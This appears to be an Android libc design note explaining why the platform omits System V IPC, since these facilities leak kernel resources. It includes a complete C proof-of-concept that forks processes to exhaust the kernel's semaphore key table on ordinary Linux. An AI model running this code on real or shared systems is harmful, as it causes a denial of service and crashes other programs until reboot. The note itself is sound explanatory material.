| <html><body><pre>Android does not support System V IPCs, i.e. the facilities provided by the |
| following standard Posix headers: |
| |
| <sys/sem.h> /* SysV semaphores */ |
| <sys/shm.h> /* SysV shared memory segments */ |
| <sys/msg.h> /* SysV message queues */ |
| <sys/ipc.h> /* General IPC definitions */ |
| |
| The reason for this is due to the fact that, by design, they lead to global |
| kernel resource leakage. |
| |
| For example, there is no way to automatically release a SysV semaphore |
| allocated in the kernel when: |
| |
| - a buggy or malicious process exits |
| - a non-buggy and non-malicious process crashes or is explicitly killed. |
| |
| Killing processes automatically to make room for new ones is an |
| important part of Android's application lifecycle implementation. This means |
| that, even assuming only non-buggy and non-malicious code, it is very likely |
| that over time, the kernel global tables used to implement SysV IPCs will fill |
| up. |
| |
| At that point, strange failures are likely to occur and prevent programs that |
| use them to run properly until the next reboot of the system. |
| |
| And we can't ignore potential malicious applications. As a proof of concept |
| here is a simple exploit that you can run on a standard Linux box today: |
| |
| --------------- cut here ------------------------ |
| #include <sys/sem.h> |
| #include <sys/wait.h> |
| #include <unistd.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <errno.h> |
| |
| #define NUM_SEMAPHORES 32 |
| #define MAX_FAILS 10 |
| |
| int main(void) |
| { |
| int counter = 0; |
| int fails = 0; |
| |
| if (counter == IPC_PRIVATE) |
| counter++; |
| |
| printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES); |
| |
| for (;;) { |
| int ret = fork(); |
| int status; |
| |
| if (ret < 0) { |
| perror("fork:"); |
| break; |
| } |
| if (ret == 0) { |
| /* in the child */ |
| ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT ); |
| if (ret < 0) { |
| return errno; |
| } |
| return 0; |
| } |
| else { |
| /* in the parent */ |
| ret = wait(&status); |
| if (ret < 0) { |
| perror("waitpid:"); |
| break; |
| } |
| if (status != 0) { |
| status = WEXITSTATUS(status); |
| fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret, |
| counter, status); |
| if (++fails >= MAX_FAILS) |
| break; |
| } |
| } |
| |
| counter++; |
| if ((counter % 1000) == 0) { |
| printf("%d\n", counter); |
| } |
| if (counter == IPC_PRIVATE) |
| counter++; |
| } |
| return 0; |
| } |
| --------------- cut here ------------------------ |
| |
| If you run it on a typical Linux distribution today, you'll discover that it |
| will quickly fill up the kernel's table of unique key_t values, and that |
| strange things will happen in some parts of the system, but not all. |
| |
| (You can use the "ipcs -u" command to get a summary describing the kernel |
| tables and their allocations) |
| |
| For example, in our experience, anything program launched after that that |
| calls strerror() will simply crash. The USB sub-system starts spouting weird |
| errors to the system console, etc... |
| </pre></body></html> |